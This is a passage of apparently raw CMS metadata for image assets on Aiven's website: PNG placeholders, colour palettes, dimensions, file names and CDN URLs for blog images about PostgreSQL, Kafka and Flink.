D8KJG8KVH45hAlVskSysQYkkkh3c/jIdOn6FzAJvJs6HUvZTIsXSSeFNQNWhMKat2PsiAPcBzNNGAOuGLO859Ms2BNc+EN4ZSIUQnD2VPKZyMUrKlasa+jACPtZ2Is5l+pYpkdlpJRCt3XzvQnF3vpFrpmlXqnFPijkHDcS2/cS6/eDN5SB5EKBFuYj2hqHiztYO/uIgAhZ2FdY10bH1hV1o/RDwkgmxH2aho8api86hj96pd8p5J5ZA+344+wHs2bT8aTzIcg39jscmuv9WxxcugAF1jUUtNOkRAKjwzHTwxHH5nQciVV9SNTdSISuSRR/SbRPiiRuaZQ6ZqLVozFFdELoyYf7HWvsLjxtHivgA4MycqIxUlHA0hGgwqIhNlUTCufETAdjy7ZC/GbC3ghjbnlD25eDJrQhtFLBVUUThzkXaKvKGkzrDF3boALSceHxgOGhQJFBAIHRcNUUAllmw6uXA3vWEqvGIlwHAqrmwqbkQbOyINPSsWUVE2XXhdZZV8fKiInruUAColHhoVDhUQCBEOBx0WDFVAJY9nOKJlLqdcJKleI5tYIGs/FzIeCyQUBzQiEEhAJldhRVp0Wlx6XG+IZQApJR4ZFQ4UDwgSDwgdFQxYPSGZaDegZS+bWyWfXCSITR5IKQ8bEgcYEAckGAo0KBVJQilSVD9RWktdZ1oAJyMdFxMNEg0IEg4IGBEJRisTj1YlrWcrrmYqoF8nbUAaLRwLFA4GEw4GGRIHJRkKNCYTQDYoTk1PZGl0ADArJSAbFhsWERsXER0YETckFG9CHZhYJZZZJ3BFIj0qFyAZERwXEBwXEB8aECYdES4iEzksH01HSWxvgABNR0A8NzE2Miw3My43My4+Ny9aRTJ1UjVqTDRJOy83Miw2MSw4Myw4Myw6NSw9NyxBOS1JPjFcU1B5eYVwfRa6uhU4BAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e502d","foreground":"#fff","population":3.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#992809","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a649","foreground":"#000","population":7.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92bd9f","foreground":"#000","population":7.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabc5b","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54a58e","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a649","foreground":"#000","population":7.63,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"serhat.png","path":"images/sczeoy4w/production/0bd9ef1c1ae436365f9f78af45ae9b071658927d-392x393.png","sha1hash":"0bd9ef1c1ae436365f9f78af45ae9b071658927d","size":233015,"title":"Serhat Yanikoglu, Technical Product Manager at Aiven","uploadId":"KPKrt5E22JglLZsK0iXZ8QWGqo5f3EVc","url":"https://cdn.sanity.io/images/sczeoy4w/production/0bd9ef1c1ae436365f9f78af45ae9b071658927d-392x393.png"} {"_createdAt":"2023-01-24T06:16:59Z","_id":"image-12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f-1567x844-png","_rev":"7aZRizEs9TRA92eUWBbr4F","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T06:16:59Z","assetId":"12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDBe{$1i#m=s14-VXmxFM|R*1~}rNxEN^0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACGklEQVQokY2STWsTURSG5y90oWjBbqyFpJ05537MR5NhkkmisZbEpKGlplAobU2pgoiguFI3XbsTXPlntDuR/pepm8u8cm8+FN24eHgP577c854748VxjHq97qjVao40TdFoNJBlmavtmfUJIcBMUHKKlAJxKHE/8fEgriIUAbxWq4WdnR2Mx2McHBwsODw8xP7+Pnq9Hra3t2F9SimI2YVaEkIlkMeM49Y9nLbuItU+PDu92+1iMBhgNBo5hsOhG9Lv99Fut5HnuUsqpYQUhDQKMGxUcdap4kXu47xRwW5aQaQEPLuGNYZhiCiKnM7RWk8vkXK2Lrtke50KPh/dweVkGd92V/GxSehrCRYhPCLCnCAIHH/25vBMYx3g1d4afry/iet3SyiOV/B1izGJ7BtH8OzU/0MgYI0oFHg9XsPVxS38vFjC9bNlXPZ9PE3ifxMu0jBPa6vuMoKv6qjGjyCTDE+21vHl+Qqu3t7A95Pb+PSwgl4oQSxdwvJviGiqix6VGyorZXNYjh43y6OBXx73KuWbwWr5srtaDpP1Mhbk/F4sGPVQo5Yk7kPM0zldrEtu3U6e4MNZgIvzdfQ6ApGWiCS5X8m+scVLJZv2ZmzyLDNJkhghhCEiw8yGnU5r28s2A3M62jCTvcA0U2V81obot5+YjacFFZGSRRTqQkpZMHNBRFNlLphnte0JUWitHEKqgoRyZ3OP1V8HYnUen8gpcgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3b5a","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#214277","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67a12","foreground":"#fff","population":5.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d5d5","foreground":"#000","population":1.25,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f94d33","foreground":"#fff","population":1.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d6757","foreground":"#fff","population":1.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67a12","foreground":"#fff","population":5.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"PostgreSQL_15_blog.png","path":"images/sczeoy4w/production/12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f-1567x844.png","sha1hash":"12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f","size":71729,"uploadId":"oZ0tA6DoI3O5pIAKV0D4X8eF9zTXbHjL","url":"https://cdn.sanity.io/images/sczeoy4w/production/12cc0e45abb9f6f2debca7b3e14d9fc21a093a0f-1567x844.png"} {"_createdAt":"2023-02-06T11:34:42Z","_id":"image-19b279179b65094800bf01c344af2f12b5b72036-1567x844-png","_rev":"q6IvLca7BfVqZtRwbgDtEt","_type":"sanity.imageAsset","_updatedAt":"2023-02-06T11:34:42Z","assetId":"19b279179b65094800bf01c344af2f12b5b72036","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQSh}UHkEzoLMGuQlxtPBvfTKR5t7Rjo2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfklEQVQokXWSy08TURTG5w/R6AI3LnWnS000rggxmmAMCyWu1I0adeMjRg1G40IS3bASFixciEhBoG/aTgGLRKDtTB8z087jzkxrO1OwzNzPzKUYF7j45Xz33NzvnHvu5ZS6japkoFzVGZJiQq5ZLDL9zzrYL1VUlKsalLoFnbRBLBeG6TCI6YDLFyVksmuIxjOIxXmk+TWk+RySqRXEEzxiCR6ZXi7YD0dTiMbS+J7bZMVIz+iv4eZWmZmFZsOMhcUE5hfiCM1FMD0zj6+hRYQjS4zZXm5mNgx+eR1SzQKxOjCCLnudcgVBRiqTY1UDIrE062IxnMRCOIloLINkapURS2SZcTS6hPW1n6jLGkzNBtEaMIzWnmEwQ7GsoigqjKBAoSgjGEWgg5wgViAIIgRRQiEvosSHoS1MoDk3iV+hKTSjSViiAtNywe0P9GBcEN2AXUmgIUyD1IrQKyU0Z95iZ+QCuvfOYff2VTivXqMcWcbKugQueKUDCQwtF5ZaQnvjA9q5lzDKWegbPFpj19C9eQT+pT7Qi2ehPXyKj6OfcOPxODhiOtT4H5ZLTa1GG+IctQrTVKvmqZn9Qp0352l3+BD8gePUHxygxRej9MnzCXrqygjliGpDlQ3IMkFda+49//7fYp222LVV1UBdkmF/e4/Oo5PYHTpMaf8J7A5fhzT+GVOhFbwbj4AjiuHVBNkriYon1yxPJ22PWK5nmI5nmK5HzD2tEcfThLzfnLxPf985Rv3Bo6D9p+nO3QfUSqz6Sr3pSbWGxxG96eqq7dbVhqsZLdcwHZdYLotM9wi0tZXd7owNef6twxSX++APnKHbz0a69o9ih9guO/cHj1P3rDCES4EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#26292c","foreground":"#fff","population":3.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062a63","foreground":"#fff","population":1.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#26292c","foreground":"#fff","population":3.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#debdc1","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6084","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6989ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88a10","foreground":"#000","population":3.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Manage_your_Aiven_infra_with_organizations_blog2.png","path":"images/sczeoy4w/production/19b279179b65094800bf01c344af2f12b5b72036-1567x844.png","sha1hash":"19b279179b65094800bf01c344af2f12b5b72036","size":73259,"uploadId":"eoHusy9HEhHVC4XrTl782aCUgeG0OsiQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/19b279179b65094800bf01c344af2f12b5b72036-1567x844.png"} {"_createdAt":"2023-01-31T13:51:02Z","_id":"image-6f485d23e7994d42a9974efe0ad2d11ecb111c97-1567x844-png","_rev":"6wJ6OxF1mPB2I3zegRe4G1","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T13:51:02Z","assetId":"6f485d23e7994d42a9974efe0ad2d11ecb111c97","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHEUr+1*m*v{JE0|}rKRw~jW9^%0-C5lv~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACjklEQVQokV2Q20sUYRjG5w/ppHjYRZvvm92Z2dmZcQ8zHlBbEV33rKyrbG2RJ7LW9CIDQwwCkwwJuzAkCCEMvKmbIkjoprroIgr/gupuJGv2e2ImzcPF7+L54H2+3/tykiQhGAy6qKoKTdOg6zrC4TBCoRAURYEgCCCEgFIKSskxCDn6RsFFIhH09fUhm80inU67JBIJN/f39yMWi0GWZdAjhU7JAfRIdgsNw3AHS6USisUiCoWCm/P5vJud4tbWVsiytD/4z0YQDq3oEXPOWc0xGhwcdEsymQySyaRrOjAw4NLT04OmJh1qgKI9eh6J9gZ0Go2QRAJ+/4P/hc46TqlpmnBsnRMcEI0aMAwTRqQJXQZFOVWD9bFz2Jqswv1cPVI6D5VSCISC34c7VD4JgUAJNIlH0mzEfM6L1+Va7Nw6jZ3xU9jO1GKthWBK8yGuUjRrPMJBHpxzk5P4qADZH0BIN5Du6cKdsSzW50exsXANT0ZjeBz3YrO3Dh9zjfg0xOPFVS8ejtViplDvGrLjCEzRWlhbfJzFryyz0u0NNr30ipWX37FLc1tsqDjKZguUbZar2be71ezngyr8WKliX+/V4NmEB1xAoNAkEaqiQJJECD4/9PYc0lNPMb68jZHF10jPPEfH5RVEU2Wkkp1YnarH9tIZvF08i625KvbmhhefhyVsxVRwuo/aZjBgR0MhW1EUWxD8tmZcqIxMTlZWl8vs5vXhitnRa4uqafulgN0SIvZExlOZL9ZVZnMeNtPdgEetEvvQ1My+yJ3gRIFYst9nyZJo+f0+ixBqqQFhd/Yiv/dyoe7PTN7zSxF5i+eJRSmxBEqsoMjvxvXG39PRBrZmEryPqOy71sb25G78BftTnrvo5Cn2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#283559","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#382b0c","foreground":"#fff","population":0.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b01a","foreground":"#000","population":8.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1d1d1","foreground":"#000","population":2.39,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67a4f6","foreground":"#000","population":4.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94a17c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b01a","foreground":"#000","population":8.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Flink_GA_announcement_blog_.png","path":"images/sczeoy4w/production/6f485d23e7994d42a9974efe0ad2d11ecb111c97-1567x844.png","sha1hash":"6f485d23e7994d42a9974efe0ad2d11ecb111c97","size":70958,"uploadId":"C5QVDvHLO0MQKLm8SI2BkDFAKXtGYPyg","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f485d23e7994d42a9974efe0ad2d11ecb111c97-1567x844.png"} {"_createdAt":"2022-12-01T15:53:18Z","_id":"image-b27f7fe1cd75b700912cc815384c209f706125dd-1875x1042-png","_rev":"v53ZsDDD1bdWz9EKVioH5V","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:54:41Z","altText":"The fundamental law to get Kafka Connect configurations right is to read the connector manual","assetId":"b27f7fe1cd75b700912cc815384c209f706125dd","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7994241842610366,"height":1042,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADRElEQVQokTXQXUxbdRzG8eeUFqFUWhKYFDYBk4WBYcDW4RyazJWgyYx1rLb09bSH9rTnhVPOoKcvsNYCXUntkAAhYtR46bwwOk2JifGGSzGL2Y3RG+MudrFopsnQxfX/N3Xz4rn95Pv7ge5ZUR+pWhmyZ8WdGwNAmILSXVwrlUylUulkPp8/J0nS8UAgYBFEsXFzvcRgMM7gRLQRg1EDBnhg8MmegHpStRpJtdP495dHn6LfdujfyTqbEsrseCKR2BAE4XOWZXenp6fTPp/Po6rq+Hx2tfc5u9qO/oipeSSuw4nI/2Bnva6B7nU2P6p2PV2rdrXe/+K4uZgJDsVi0TWe53+Zm5t7qKrqH4FA4I7T6fwhGo3eSKWz3jfCi0fRFzaZbYIevaHHYK1qBa0+g8ObzzIPbh7T3//U0riz7OpJzYuJWIy/FYlE/8mk0zSXy9FQKEQdDgf1er0/C6Ko+PnkEXRzTebTvKF5VAQGogDPTYJ+A1AKfFK2Y2Nj3VR4O+9IacmvRVF8wHEcFQSBxONx4na7icvlIqFQ6FYkEvFMudkWmESd9WxE919d/Zfvjbrw4WYeXvfzEORZ/c7Ojm17e/uD5eXle4qiEJ7nyczMDPH7/cTj8VCO4w4lSfpMluWzFydf0QFTKMtv4rZgAUCBP8PdWJc4wMQyE5djluK1Nd/W1tZBuVwmmUyGqqpKZVkmkiTVEokEVRTl7qwsFZVZ+dj1+CRwhoIuAocLDaDv181wN6gNQM9VXf/5qFlOzE/k8/mPV1dXf1xZWfktl8s9zGazpFgs0kqlUru6lD1YELngR8K5NlpEw69X2nQkxYCmAKIBqF0ca/zu/LjRZ3u5pXfY3vK6460OnudfXFiYjy0tLb2by+W+KhQKtyuVyr1KpXI3t5jZLQqXzvx+xWAm6YbWRxrTQjQ0Ug1MHUXt0nDH9xNjfeKYrXdoeKRz5OSQ0X7hgt7v97fGYrE+RVFeSiaTbCaTWdM0bVORxakC91obXYThL81gJBpMJIVmmoKO1guJu7/94NXRHuGFUz118PSpUaPA87DZbNjf34fFYmEcDkeTz+frYlm2PxgMHrnsYXV25wx+mmuvn8lQ7TFWB/8Fl6hRe301BgcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523039","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c110d","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":0.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbfbf","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd44c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8855","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c71f","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image3 (1).png","path":"images/sczeoy4w/production/b27f7fe1cd75b700912cc815384c209f706125dd-1875x1042.png","sha1hash":"b27f7fe1cd75b700912cc815384c209f706125dd","size":1286557,"title":"The magic book","uploadId":"ZQ2LRsrozqw6ciqAwyjtRxtan54IKZO2","url":"https://cdn.sanity.io/images/sczeoy4w/production/b27f7fe1cd75b700912cc815384c209f706125dd-1875x1042.png"} {"_createdAt":"2022-12-01T15:30:57Z","_id":"image-db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d-2170x1104-png","_rev":"z7EiK8inwybcbhSAyOjspC","_type":"sanity.imageAsset","_updatedAt":"2022-12-01T15:31:41Z","altText":"A diagram showing source data from PostgreSQL going into an Aiven for Apache Kafka service, and from there to sinks for AWS S3, Aiven for Redis and Google Cloud Storage","assetId":"db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d","description":"A diagram showing source data from PostgreSQL going into an Aiven for Apache Kafka service, and from there to sinks for AWS S3, Aiven for Redis and Google Cloud Storage","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9655797101449275,"height":1104,"width":2170},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsUlEQVQokZXSXWucQBQGYH96/0YvetWbNqVNaDdswwZSQkhpurvprhtdHVedVXcc58MZR6NRxy22FHJRKIWHc3HghcPLMWR1/B9Dxp9gomCiMG8NWQ3P/CMsSu3v89mVNb3c2B41cqVHRS+UFuWQq4HKgeQ6ZV3KOsS6lHaY91RoXuhcti5AJ++/vn5zs1jHBkyU7VHH5wdSc6Wp0AnR4aFzgsreCsvKbbfw9k2Ee0xbxqs4ZvMf8NsC7kJh3C3hu4+LyeWDG+aEN5i1EPXuvrNsZU79zcnGvkX2rvaiPkZ1lhUBpNe34Ms1cAAfw29P7z5drF0/w1mR4tKPnrZhZ63l6uXcfDEDE2/rNQ7s9skjxhIAdD5dnp7NV2v062xAnB09YEV5jWkTJi2ItOs+mmfAfLUENwcAWy/uk7SmVMUJv1+F35eBD3ODFz2THZMdL/pcaSL0geg401HaQ78KnSKKmgiPm5Q0nKkgzGZXm+nMtAAxECmTtECkZLL90/ZY2zifEwOTfS5q38fnn+8/TBYrCxlbEJt24HgxIkqU+vcn/M1RlkehNGF1GHF/zxNc/QSd1h76H2T8+QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#302d4e","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e124d","foreground":"#fff","population":2.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0e124d","foreground":"#fff","population":2.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbdd0","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4dcfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d6798","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6348b","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"milk-and-data-blog-decoupled-system-title-removed.png","path":"images/sczeoy4w/production/db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d-2170x1104.png","sha1hash":"db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d","size":46095,"title":"Decoupled system diagram","uploadId":"QTDxyVng9rPYt9DVtAIQ5hFVEEs0r12s","url":"https://cdn.sanity.io/images/sczeoy4w/production/db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d-2170x1104.png"} {"_createdAt":"2023-02-08T12:52:40Z","_id":"image-4d7065905135f66cc4bace9cc5bbf9a7064df2e4-2500x1700-png","_rev":"q6IvLca7BfVqZtRwbvfRyp","_type":"sanity.imageAsset","_updatedAt":"2023-02-08T12:52:40Z","assetId":"4d7065905135f66cc4bace9cc5bbf9a7064df2e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYPZDeAF8_TKDOysr?%1xtRj4TWBtmsokqlAjEaJaxRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4705882352941178,"height":1700,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADmUlEQVQ4jVWRX0xbVRzHb3ygvvhoTNzmom5T4x8W94A6ytyDYJhGTYYxwbEESUykmk3+lLXpplhooR1QQN2ykLG0BJgmbM32oG4tkZh5K1vb28ZkjGwKCqxAe/+fe+8553fM7eaMD5+X8/D5fb/fw5Uko0LILTwenfhud3dPaK/nuN/pPd5jU2Pj8fmd3hO9zi/9ob1d3u7KmQuX9i8tLY8Ui8XrqqrmMcZ5SulljHGDKhYrOAMzR3hg9IX3Dh46sv/NhvGa+sbpmgNNU/9xaGrfW4en6g5+PPlu09Fxj3/k/DU+nd/Y2FQQQjqhFAFADhPaLJvMwekWc7S1H3utuaX13DFfsBCIjOvB0ZgaGI5qNn2jE1ro20lt6Mz32tfnLipTF5OakL+Fi5slZhgGo5Qyiq3bWF7/TJ/75hFOVLDD7fZWBwL955Ozc9qdpRX2x9IqW1j8ky3e+Yst/11gK2ubbPVuka2ul1hhQ2TFoshkSQaEEDUti5niWsESLgziyJ6dXEkyHR6vr3p4eGRaEATFQIgZqkalzSKosgzENIEgEyzdAIxxGU3TQJYV0HUd7JTm2k3TSoYv094nXudKclnojESGpzPZrIp0nRmKBtJGEWRRAqRqgCQNVOmBoCwTRYnZYgtjRgo3Kbnam6A9W+o4UbYqPm/rfHVoKDIpCIJqIIOZCIEqSWV0VQXTMABbFhBCmJ1QVe2EcvkAxoTR9VuEJgK2sJYzCXuooeH9l0Kh8NlsVpDtCoaBQJPlMrqqgGUaQCkFAGCEkAeVEUJACGWwvkhoMpigPVtruZ9nf+Sqqqp2BYN9p3O5nGSaFrNMEzRFKYM0DbBl/k9oJxRFEXRNB3tz9TZP9HhngnQ/VsudOn2Gq6ys3BEIBE4JQu5eQoTK+yn3N7T+rXz/U+yqin1QR3B3ZZn9Ho+Q5ZAzAR5HLTczE3+4vv5AZVdX11g8Hhcz6TSkb1yn8/yvbJ7nWXr+N5ZN32BCJn2PbIZlM+nyWyaTgeQPl1g80EQzR7fNKr5H3+bGxsa3ftLq2vdRS0vQ4/H+NBjqTo8NdqxHhz6l0UEXRAdcELM56YJY2AWxkAsmbPpaIRZshbMnDsP0kWqSatv1y4L/lUauPzSwpaPDvbu5ueWNxsYP3wl31rVfGdxzjR990UhFnif8yecw3/8s4QPPEP6rnYT/YgdJ+Z4mKc9TJOV+Eqfat5Ns2zZrwb19Lu97+YN/ALN1DkNka+e4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3b49","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e1204","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97f09","foreground":"#000","population":4.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#94bcc8","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bae2","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#97585d","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97f09","foreground":"#000","population":4.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-flink (1).png","path":"images/sczeoy4w/production/4d7065905135f66cc4bace9cc5bbf9a7064df2e4-2500x1700.png","sha1hash":"4d7065905135f66cc4bace9cc5bbf9a7064df2e4","size":123844,"uploadId":"osHHj3XuqNNuKzLuRM9YEZmm4E5FMZ8t","url":"https://cdn.sanity.io/images/sczeoy4w/production/4d7065905135f66cc4bace9cc5bbf9a7064df2e4-2500x1700.png"} {"_createdAt":"2023-01-11T15:41:13Z","_id":"image-62ed03fedf05eabe2577fca6762ab73c095d49df-1212x1212-png","_rev":"E0WcOAmhawew35VucEO4jc","_type":"sanity.imageAsset","_updatedAt":"2023-01-11T15:41:13Z","assetId":"62ed03fedf05eabe2577fca6762ab73c095d49df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGI#7GJ89H~A9Znn0LaLs8t7R4aIIUSi%L_3K6S5%0M|IV57og%LM|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1212,"width":1212},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGLUlEQVQ4jVWUa1CTZxqGX13dTrft7LbT6cz2T9eZAq22DlYQZEC7tAOIYhWimSqFYC1RFIklBwiHQAJyCMQk5EBCOAUSI/kSyBECIYEkJORAYiQgUKE7YxWrFt3tuizK9707OLsz3Wfmmvv581z/7gc0nyWArhISMLTxweTIMLDabeDW/BwwdgtBs4T/NlvCP9jTxckODfFO/eLsxT31aXBPglbc46AD99g1ilsdM+PuG8w5Pw0OJ9/TWt4GEEIA/gtnK8HWCkERAIDT0x7D7WmvVyiEE7eH291PfYjr19uWqX/MTkythSanfvFOuJ64HFOPrBOOhyYbe1U3/vH/CeFvcPVLgEjVu1+s6kWUKum/AkYJthbQoc/vTKKPglZ0zjKAzhpuoksmPTaHDG0sIkbDfdNkPGBl49+VFxXtHuW2xk8OauKnna74aa8/Xn5Tm8AWSwnc3h47XyLYGJA2w7v2AWwtPA692i4oZJTCVioJ49AosObi5ZdcaqVxRNoXD8rTjn4hLyBw7PU1+olumd42qNVbTEaDWNpprGI2OquusVeLafRNUvFFTCdrxeaH5Vh/UwV2Hp+DZWUexVJTDsHEPbtfpsbtN+Xn4BMALf1IXnfeGY+1grwxzml8oRMJXsj5vBdsJvNFNa38ZSW1DP22oADi8XjYWk2GBhEL8sqvQGJ+Psw8fhJ+nrAfpn/8/ubhqD9bkg8cOAyuHssitOTi/QPki5i2mgJFZApkFF6CVcRLsIFMhQ00KlZBKsKqKCWYuLkG7eNUo4Ka79H6MhJaUkhAvz2agl0+FLWZl/ihDZeZlg7S4g4Scr9I9TPzcBiXWACpp7+BhMzT8ALuHKSeL3lZVkx60MiqDvWIOX6kizejlTTNqNpYMz1c5gyHURqs/Q4XZp1KvkU/kdRZfiE/BUR9EH0yLmaP5kxKygLlxFeLhVm4xa8z8QtfH8tdykk7Ffoq44T4KulKEZtBYXQ2UATmjnqBXdUmGLspFOh6OSJlK729g0pgtV05c1zWWP0+iNkVHf3RB1EnUz+NI+anZlwgHD9FPJuT+92JdFxhcuyhvE8/3Jv416SEJFz6YV7ZuWyPlkv1+dUc7y2T0Os3CPzWbpZD3VRSe6Px+6jVx0+3g/TExB2ZqelvFhKI71JJ1PfIJZR3zp8jvpWRmvFWbHTsG4f37nvtWEpCUvrBz0y5R5I3RLR81N3D2IwYOJshXTNmk1X8HWkqlvXVXY5pzt4NwPzfHr0z/+PPH82tPEicW76fFFl+cCCy8nBfZOVh7O2Vn2PDS/c+kzRUES5kHXLnfXlgk0XMhp